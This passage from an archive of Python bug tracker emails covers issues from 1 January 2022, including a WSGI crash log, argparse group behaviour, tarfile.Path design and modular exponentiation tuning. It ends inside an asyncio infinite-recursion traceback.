[Sat Jan 01 05:17:21.249804 2022] [wsgi:error] [pid 257749:tid 257758] KeyError: 'convert_timestamp' [Sat Jan 01 05:17:21.249813 2022] [wsgi:error] [pid 257749:tid 257758] Exception ignored deletion of interned string failed: [Sat Jan 01 05:17:21.249817 2022] [wsgi:error] [pid 257749:tid 257758] Traceback (most recent call last): [Sat Jan 01 05:17:21.249822 2022] [wsgi:error] [pid 257749:tid 257758] File "", line 688, in _ load_unlocked [Sat Jan 01 05:17:21.249889 2022] [wsgi:error] [pid 257749:tid 257758] KeyError: 'convert_date' [Sat Jan 01 05:17:21.249898 2022] [wsgi:error] [pid 257749:tid 257758] Exception ignored deletion of interned string failed: [Sat Jan 01 05:17:21.249901 2022] [wsgi:error] [pid 257749:tid 257758] Traceback (most recent call last): [Sat Jan 01 05:17:21.249906 2022] [wsgi:error] [pid 257749:tid 257758] File "", line 688, in _ load_unlocked [Sat Jan 01 05:17:21.249946 2022] [wsgi:error] [pid 257749:tid 257758] KeyError: 'adapt_datetime' [Sat Jan 01 05:17:21.249971 2022] [wsgi:error] [pid 257749:tid 257758] Exception ignored deletion of interned string failed: [Sat Jan 01 05:17:21.249977 2022] [wsgi:error] [pid 257749:tid 257758] Traceback (most recent call last): [Sat Jan 01 05:17:21.249981 2022] [wsgi:error] [pid 257749:tid 257758] File "", line 688, in _ load_unlocked [Sat Jan 01 05:17:21.250021 2022] [wsgi:error] [pid 257749:tid 257758] KeyError: 'adapt_date' [Sat Jan 01 05:17:22.058701 2022] [wsgi:error] [pid 249217:tid 249327] [client 31.13.127.13:53220] Truncated or oversized response headers received from daemon process 'https_site': /home/site/dmnes-site/viewer.wsgi libpython is crashing httpd a few times a minute for me, and I definitely was not seeing this with Fedora 34. I have Python 3.10.1 on F35, and had 3.9.9 on F34. If there's any further information I can provide, I'd be happy to help. ---------- nosy: +uckelman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 09:54:14 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 14:54:14 +0000 Subject: [issue45744] Fix Flawfinder C Errors In-Reply-To: <1636313482.78.0.504082429267.issue45744@roundup.psfhosted.org> Message-ID: <1641048854.34.0.732101506093.issue45744@roundup.psfhosted.org> Irit Katriel added the comment: Can you specify what the flaws your discovered are, either in this issue or though a PR? ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 10:08:39 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 15:08:39 +0000 Subject: [issue23902] let exception react to being raised or the setting of magic properties (like __cause__) within Python In-Reply-To: <1428610708.13.0.662863454956.issue23902@psf.upfronthosting.co.za> Message-ID: <1641049719.52.0.159294970249.issue23902@roundup.psfhosted.org> Irit Katriel added the comment: I think this proposal should be rejected. We cannot safely pass control back to python code in the midst of raising an exception. ---------- resolution: -> rejected status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 10:45:08 2022 From: report at bugs.python.org (Andrei Kulakov) Date: Sat, 01 Jan 2022 15:45:08 +0000 Subject: [issue40236] datetime.datetime.strptime get day error In-Reply-To: <1586426131.65.0.158262640104.issue40236@roundup.psfhosted.org> Message-ID: <1641051908.35.0.709926617922.issue40236@roundup.psfhosted.org> Andrei Kulakov added the comment: I didn't realize that time.strptime is just using python module _strptime. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 12:11:10 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 01 Jan 2022 17:11:10 +0000 Subject: [issue44394] [security] CVE-2013-0340 "Billion Laughs" fixed in Expat >=2.4.0: Update vendored copy to expat 2.4.1 In-Reply-To: <1623420847.27.0.469352206791.issue44394@roundup.psfhosted.org> Message-ID: <1641057070.03.0.387093000275.issue44394@roundup.psfhosted.org> Change by Guido van Rossum : ---------- nosy: -gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 12:33:12 2022 From: report at bugs.python.org (David CARLIER) Date: Sat, 01 Jan 2022 17:33:12 +0000 Subject: [issue46222] posixmodule sendfile FreeBSD's constants update Message-ID: <1641058392.04.0.265808726552.issue46222@roundup.psfhosted.org> New submission from David CARLIER : Adding SF_NOCACHE and little note for SF_MNOWAIT. ---------- components: FreeBSD messages: 409465 nosy: devnexen, koobs priority: normal pull_requests: 28542 severity: normal status: open title: posixmodule sendfile FreeBSD's constants update versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 12:50:03 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 01 Jan 2022 17:50:03 +0000 Subject: [issue46079] [doc] Broken URL in "Brief Tour of the Standard Library" In-Reply-To: <1639548631.13.0.586608874559.issue46079@roundup.psfhosted.org> Message-ID: <1641059403.44.0.73130972539.issue46079@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset ac4eea21722d9ed1604c9c30a8d29ae2ce74f1b2 by Raymond Hettinger in branch 'main': bpo-46079: Replace external link that is down for maintenance. (GH-30315) https://github.com/python/cpython/commit/ac4eea21722d9ed1604c9c30a8d29ae2ce74f1b2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 12:50:12 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 01 Jan 2022 17:50:12 +0000 Subject: [issue46079] [doc] Broken URL in "Brief Tour of the Standard Library" In-Reply-To: <1639548631.13.0.586608874559.issue46079@roundup.psfhosted.org> Message-ID: <1641059412.82.0.720070591484.issue46079@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28543 pull_request: https://github.com/python/cpython/pull/30328 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 12:50:16 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 01 Jan 2022 17:50:16 +0000 Subject: [issue46079] [doc] Broken URL in "Brief Tour of the Standard Library" In-Reply-To: <1639548631.13.0.586608874559.issue46079@roundup.psfhosted.org> Message-ID: <1641059416.62.0.864608780219.issue46079@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28544 pull_request: https://github.com/python/cpython/pull/30329 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 13:13:12 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 01 Jan 2022 18:13:12 +0000 Subject: [issue46079] [doc] Broken URL in "Brief Tour of the Standard Library" In-Reply-To: <1639548631.13.0.586608874559.issue46079@roundup.psfhosted.org> Message-ID: <1641060792.71.0.685299599146.issue46079@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset 2bd73546959619b2519a7a830b3aaf190abeaf78 by Miss Islington (bot) in branch '3.10': bpo-46079: Replace external link that is down for maintenance. (GH-30315) (GH-30328) https://github.com/python/cpython/commit/2bd73546959619b2519a7a830b3aaf190abeaf78 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 13:13:34 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 01 Jan 2022 18:13:34 +0000 Subject: [issue46079] [doc] Broken URL in "Brief Tour of the Standard Library" In-Reply-To: <1639548631.13.0.586608874559.issue46079@roundup.psfhosted.org> Message-ID: <1641060814.74.0.267251771497.issue46079@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset 72ffcb02f3ea6efcd3afe368996dc3ee89701898 by Miss Islington (bot) in branch '3.9': bpo-46079: Replace external link that is down for maintenance. (GH-30315) (GH-30329) https://github.com/python/cpython/commit/72ffcb02f3ea6efcd3afe368996dc3ee89701898 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 13:14:14 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 01 Jan 2022 18:14:14 +0000 Subject: [issue46079] [doc] Broken URL in "Brief Tour of the Standard Library" In-Reply-To: <1639548631.13.0.586608874559.issue46079@roundup.psfhosted.org> Message-ID: <1641060854.22.0.379064440262.issue46079@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- priority: low -> normal resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 13:37:34 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 01 Jan 2022 18:37:34 +0000 Subject: [issue46095] Improve SeqIter documentation In-Reply-To: <1639648081.19.0.0569018631816.issue46095@roundup.psfhosted.org> Message-ID: <1641062254.68.0.396117333311.issue46095@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +28545 pull_request: https://github.com/python/cpython/pull/30330 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 13:37:49 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 01 Jan 2022 18:37:49 +0000 Subject: [issue46095] Improve SeqIter documentation In-Reply-To: <1639648081.19.0.0569018631816.issue46095@roundup.psfhosted.org> Message-ID: <1641062269.33.0.489768012455.issue46095@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset a09bc3a404befca197b5d9959a9c62110ee61d77 by Raymond Hettinger in branch 'main': bpo-46095: Improve SeqIter documentation. (GH-30316) https://github.com/python/cpython/commit/a09bc3a404befca197b5d9959a9c62110ee61d77 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 13:38:20 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 01 Jan 2022 18:38:20 +0000 Subject: [issue46095] Improve SeqIter documentation In-Reply-To: <1639648081.19.0.0569018631816.issue46095@roundup.psfhosted.org> Message-ID: <1641062300.75.0.572124344982.issue46095@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 13:47:28 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sat, 01 Jan 2022 18:47:28 +0000 Subject: [issue46142] python --help output is too long In-Reply-To: <1640043795.98.0.690443918792.issue46142@roundup.psfhosted.org> Message-ID: <1641062848.29.0.875647127354.issue46142@roundup.psfhosted.org> ?ric Araujo added the comment: Question about the implementation: I?ve found the parsing of command-line params in Python/initconfig.c and Python/preconfig.c. Help is handled in initconfig, X options in preconfig. A) could add a value to the right struct for "-X help", set it in preconfig, handle it in initconfig (by printing X options help and exiting, maybe reusing the existing print help function or writing a very similar one next to it) B) or detect the option in preconfig, print and exit right there Which option is best? ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 13:52:19 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sat, 01 Jan 2022 18:52:19 +0000 Subject: [issue46198] Duplicate and unused code in tests In-Reply-To: <1640823822.61.0.842322675872.issue46198@roundup.psfhosted.org> Message-ID: <1641063139.98.0.932133611895.issue46198@roundup.psfhosted.org> ?ric Araujo added the comment: I think most of these are false positives (it?s fine if 10 different tests define a function `f`), so should not be changed just to appease a lint tool. Others are genuine! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 14:05:29 2022 From: report at bugs.python.org (Andrei Kulakov) Date: Sat, 01 Jan 2022 19:05:29 +0000 Subject: [issue41403] Uncaught AttributeError in unittest.mock._get_target In-Reply-To: <1595790944.09.0.556229072962.issue41403@roundup.psfhosted.org> Message-ID: <1641063929.21.0.270853113366.issue41403@roundup.psfhosted.org> Andrei Kulakov added the comment: More generally, split()/rsplit() are probably the most common operations done on expected string at the start of a function, i.e. most likely to be triggered on the wrong type passed in. At the same time to many new users split()/rsplit() does not imply anything related to strings, and 'split' sounds too generic to expect explanatory results from google search. (although the first few results do point to the right explanation, and rsplit does seem like something that would return helpful search results). I wonder if it would be helpful, especially for .split() (and rsplit for consistency), to add to the error msg: "... it's likely that a string object was expected instead of object". ---------- nosy: +andrei.avk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 14:12:51 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 01 Jan 2022 19:12:51 +0000 Subject: [issue46095] Improve SeqIter documentation In-Reply-To: <1639648081.19.0.0569018631816.issue46095@roundup.psfhosted.org> Message-ID: <1641064371.26.0.360467347745.issue46095@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset e9783d6434f28dfb0b531c6760f7642fc7ede278 by Miss Islington (bot) in branch '3.10': bpo-46095: Improve SeqIter documentation. (GH-30316) (GH-30330) https://github.com/python/cpython/commit/e9783d6434f28dfb0b531c6760f7642fc7ede278 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 14:16:30 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 01 Jan 2022 19:16:30 +0000 Subject: [issue46118] Migrate importlib.resources into a package In-Reply-To: <1639774468.14.0.755654670872.issue46118@roundup.psfhosted.org> Message-ID: <1641064590.85.0.969457924763.issue46118@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 14:47:19 2022 From: report at bugs.python.org (Case Van Horsen) Date: Sat, 01 Jan 2022 19:47:19 +0000 Subject: [issue46187] Optionally support rounding for math.isqrt() In-Reply-To: <1640633399.46.0.8152811809.issue46187@roundup.psfhosted.org> Message-ID: <1641066439.51.0.850080740689.issue46187@roundup.psfhosted.org> Case Van Horsen added the comment: FWIW, gmpy2 uses isqrt_rem. Of course, gmpy2 uses underscores a lot. And uses next_toward instead of nextafter, and copy_sign instead of copysign, and is_nan instead of isnan... :( I would keep the math module consistent and use isqrtrem. I'll look at adding aliases to remain consistent with the math module. ---------- nosy: +casevh _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 14:55:12 2022 From: report at bugs.python.org (=?utf-8?q?Alex_Gr=C3=B6nholm?=) Date: Sat, 01 Jan 2022 19:55:12 +0000 Subject: [issue40059] Provide a toml module in the standard library In-Reply-To: <1585119261.47.0.818238682424.issue40059@roundup.psfhosted.org> Message-ID: <1641066912.13.0.938936833262.issue40059@roundup.psfhosted.org> Change by Alex Gr?nholm : ---------- nosy: +alex.gronholm _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 15:04:06 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sat, 01 Jan 2022 20:04:06 +0000 Subject: [issue46186] replace `io.IncrementalNewlineDecoder` with non incremental newline decoders In-Reply-To: <1640628066.96.0.973649532824.issue46186@roundup.psfhosted.org> Message-ID: <1641067446.12.0.620236624608.issue46186@roundup.psfhosted.org> ?ric Araujo added the comment: Can you describe what the problem is? Is it incorrect in some cases? Is it inefficient? Without a statement of the issue, we can?t discuss a solution :) ---------- nosy: +eric.araujo versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 15:34:08 2022 From: report at bugs.python.org (Guo Ci Teo) Date: Sat, 01 Jan 2022 20:34:08 +0000 Subject: [issue46186] replace `io.IncrementalNewlineDecoder` with non incremental newline decoders In-Reply-To: <1640628066.96.0.973649532824.issue46186@roundup.psfhosted.org> Message-ID: <1641069248.69.0.0508248320378.issue46186@roundup.psfhosted.org> Guo Ci Teo added the comment: Some uses of the `decode` method of `io.IncrementalNewlineDecoder` were incorrect without the `final=True` argument. One way to fix it would be to add the `final=True` in all cases. But the incremental decoding feature is not used, so I decided to replace it with stateless non-incremental newline decoders. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 15:34:55 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 01 Jan 2022 20:34:55 +0000 Subject: [issue46198] Duplicate and unused code in tests In-Reply-To: <1641063139.98.0.932133611895.issue46198@roundup.psfhosted.org> Message-ID: Nikita Sobolev added the comment: > I think most of these are false positives Yes, they are! Please, check out my PR: https://github.com/python/cpython/pull/30297 ??, 1 ???. 2022 ?. ? 21:52, ?ric Araujo : > > ?ric Araujo added the comment: > > I think most of these are false positives (it?s fine if 10 different tests > define a function `f`), so should not be changed just to appease a lint > tool. Others are genuine! > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 15:37:05 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 01 Jan 2022 20:37:05 +0000 Subject: [issue46126] Unittest output drives developers to avoid docstrings In-Reply-To: <1639868904.15.0.52665025329.issue46126@roundup.psfhosted.org> Message-ID: <1641069425.26.0.53296394622.issue46126@roundup.psfhosted.org> Jason R. Coombs added the comment: > > I presume I don't need to explain why docstrings are nice and preferable over comments. > Actually, can you? I searched around and didn't find any good treatise or thorough overview of reasons _why_ docstrings should be preferred, so I performed an internal deconstruction of my motivations and published [this article](https://blog.jaraco.com/why-docstrings-are-preferable-to-comments/) on my blog. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 16:34:37 2022 From: report at bugs.python.org (Barney Gale) Date: Sat, 01 Jan 2022 21:34:37 +0000 Subject: [issue45649] Add tarinfo.Path In-Reply-To: <1635436761.88.0.225530702286.issue45649@roundup.psfhosted.org> Message-ID: <1641072877.5.0.345441984891.issue45649@roundup.psfhosted.org> Barney Gale added the comment: It's possible to do, but will be a little slow due to the nature of tar files. They're a big linked list of files, so you need to do a bunch of reads/seeks from the start to the end to enumerate all files. I'd ask that we try to get issue24132 solved first. That would let us write: # tarfile.py class Path(pathlib.AbstractPath): def iterdir(self): ... def stat(self): ... We'd fill in a smallish number of abstract methods to get a full `Path`-compatible class with `read_text()`, `is_symlink()` etc methods. ---------- nosy: +barneygale _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 17:33:51 2022 From: report at bugs.python.org (Tim Peters) Date: Sat, 01 Jan 2022 22:33:51 +0000 Subject: [issue46218] Change long_pow() to sliding window algorithm In-Reply-To: <1641001599.99.0.180996324134.issue46218@roundup.psfhosted.org> Message-ID: <1641076431.25.0.994070864401.issue46218@roundup.psfhosted.org> Tim Peters added the comment: Nope, boosting the window size to 6 doesn't appear to really help at all, at least not on my box. Regardless of the window size, we have to do a bigint square for every bit position in the exponent. I don't know of any way to speed that (short of speeding multiplication, and we already make a special case of squaring). So that dominates. Even for an exponent of a million solid 1-bits, the overall timing difference appears insignificant. So I cut the window size back to 5 bits again. That has the benefit of cutting the old table size in half, which also cuts the precomputation time to fill it about in half, which should have some minor benefit for saner (smaller) exponents. As a sanity check, I also tried cutting the window size to 3 bits. That had an obvious bad timing impact on huge exponents of solid 1 bits. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 18:19:11 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 01 Jan 2022 23:19:11 +0000 Subject: [issue45649] Add tarinfo.Path In-Reply-To: <1635436761.88.0.225530702286.issue45649@roundup.psfhosted.org> Message-ID: <1641079151.97.0.785182882365.issue45649@roundup.psfhosted.org> Jason R. Coombs added the comment: I'd recommend not to block on issue24132. It's not obvious to me that subclassing would be valuable. It depends on how it's implemented, but in my experience, zipfile.Path doesn't and cannot implement the full interface of pathlib.Path. Instead zipfile.Path attempts to implement a protocol. At the time, the protocol was undefined, but now there exists importlib.resources.abc.Traversable (https://docs.python.org/3/library/importlib.html#importlib.abc.Traversable), the interface needed by importlib.resources. I'd honestly just create a standalone class, see if it can implement Traversable, and only then consider if it should implement a more complicated interface (such as something with symlink support or perhaps even later subclassing from pathlib.Path). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 19:01:26 2022 From: report at bugs.python.org (Barney Gale) Date: Sun, 02 Jan 2022 00:01:26 +0000 Subject: [issue45649] Add tarinfo.Path In-Reply-To: <1635436761.88.0.225530702286.issue45649@roundup.psfhosted.org> Message-ID: <1641081686.2.0.302456565974.issue45649@roundup.psfhosted.org> Barney Gale added the comment: If you're only aiming for Traversable compatibility, sure. The original bug description asks for something that's pathlib-compatible and similar to zipfile.Path, which goes beyond the Traversable interface in attempting to emulate pathlib.Path. The pathlib.Path interface is a good one - I see no reason it can't apply to zip and tar archives in full. Methods of Path objects already raise NotImplementedError if operations aren't supported (e.g. creating symlinks) Some prototyping from a couple years back, including a tar path implementation: https://github.com/barneygale/pathlab/tree/master/pathlab ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 20:15:00 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sun, 02 Jan 2022 01:15:00 +0000 Subject: [issue46142] python --help output is too long In-Reply-To: <1640043795.98.0.690443918792.issue46142@roundup.psfhosted.org> Message-ID: <1641086100.38.0.1852205106.issue46142@roundup.psfhosted.org> ?ric Araujo added the comment: It seems that preconfig is only for some options that change fundamental behaviour (isolated mode, default encoding), so I should be able to detect and handle '-X help' in initconfig. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 20:29:22 2022 From: report at bugs.python.org (paul j3) Date: Sun, 02 Jan 2022 01:29:22 +0000 Subject: [issue46101] argparse: using parents & subcommands, options can be ignored In-Reply-To: <1639668546.2.0.488904720024.issue46101@roundup.psfhosted.org> Message-ID: <1641086962.78.0.711137376154.issue46101@roundup.psfhosted.org> Change by paul j3 : ---------- nosy: +paul.j3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 20:52:28 2022 From: report at bugs.python.org (paul j3) Date: Sun, 02 Jan 2022 01:52:28 +0000 Subject: [issue46058] argparse: arg groups and mutually exclusive groups behave inconsitently In-Reply-To: <1639335674.28.0.221723621867.issue46058@roundup.psfhosted.org> Message-ID: <1641088348.64.0.252590595196.issue46058@roundup.psfhosted.org> paul j3 added the comment: At least until these latest deprecations, the only nesting that made sense was to put a mutually_exclusive_group inside an argument_group. This was a way of providing a title and description for the exclusive_group. (And not documented.) I don't know if that's still possible. 'required' only makes sense for the exclusive_group. I don't know what happens when one tries to give it to an argument_group. If it doesn't raise an error, I expect it to be ignored. argument_groups are only used for help formatting; they have no role in parsing. exclusive_groups are primarily a parsing checking tool. Usage formatting tries to display exclusive groups, but is easily broken. While mutually_exclusive_group is a subclass of argument_group (and that in turn a subclass of argument_container), very little usage or behavior is inherited. Don't expect any consistency. A key point, that is easily lost, is that all groups share the _actions list with the parser. When an argument is added a group (either kind), it is, in effect, added to the parser's _actions list. So when parsing, there's only one list of Actions. A group will also keep the Action in its own _group_actions list, which is used for formatting or for exclusive checking. But otherwise the _group_actions list not used for parsing. Another point, is that there are 2 default argument_groups. Thus every Action is in an _group_actions list. If an exclusive_group is not nested in an argument_group, its Actions will be added to one of the defaults (optionals or positionals). ---------- nosy: +paul.j3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 21:03:32 2022 From: report at bugs.python.org (Tim Peters) Date: Sun, 02 Jan 2022 02:03:32 +0000 Subject: [issue46218] Change long_pow() to sliding window algorithm In-Reply-To: <1641001599.99.0.180996324134.issue46218@roundup.psfhosted.org> Message-ID: <1641089012.27.0.0346366419205.issue46218@roundup.psfhosted.org> Tim Peters added the comment: Since cutting the window size by 1 cut the size of the dynamic precomputed table in half, the overhead of the sliding window method was correspondingly reduced. It can pay off at exponents of half the bit length now, so that threshold was also changed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 21:12:21 2022 From: report at bugs.python.org (paul j3) Date: Sun, 02 Jan 2022 02:12:21 +0000 Subject: [issue46057] argparse: embedded groups may prevent options from being in help output In-Reply-To: <1639320798.63.0.0421812802369.issue46057@roundup.psfhosted.org> Message-ID: <1641089541.08.0.302269492527.issue46057@roundup.psfhosted.org> paul j3 added the comment: Don't add an argument_group to another argument_group. While input allows this nesting, the formatting is not designed to handle it. Nor does the documentation illustrate such nesting. Nesting a mutually_exclusive_group in an argument_group works because the exclusive_group is not used in formatting the help lines. The two class of groups have very different purposes. Note that the add_argument_group() method is defined for the parent _ActionsContainer class. ArgumentParser inherits from this, as do both of the group classes. While one could make a case for changing the group's inheritance of this method to Not-implemented, it's only a problem when users, like you, try to push for undocumented usage. In general argparse has a clean and powerful class structure. But it doesn't do a lot of checking and pruning, so there loose ends like this. The Action class and its subclasses is similarly powerful, with enough loose ends to allow adventurous users to hang themselves :). ---------- nosy: +paul.j3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 22:36:04 2022 From: report at bugs.python.org (aaron) Date: Sun, 02 Jan 2022 03:36:04 +0000 Subject: [issue46223] asyncio cause infinite loop during debug Message-ID: <1641094564.17.0.420361476444.issue46223@roundup.psfhosted.org> New submission from aaron : When running code in debug mode, asyncio sometimes enter into infinite loop, shows as the following: ``` Current thread 0x00007f1c15fc5180 (most recent call first): File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 58 in __repr__ File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 47 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 32 in format_cb File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 37 in _format_callbacks File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 76 in _future_repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 51 in _repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 61 in __repr__ File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 47 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 32 in format_cb File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 37 in _format_callbacks File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 76 in _future_repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 51 in _repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 61 in __repr__ File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 47 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 32 in format_cb File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 37 in _format_callbacks File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 76 in _future_repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File 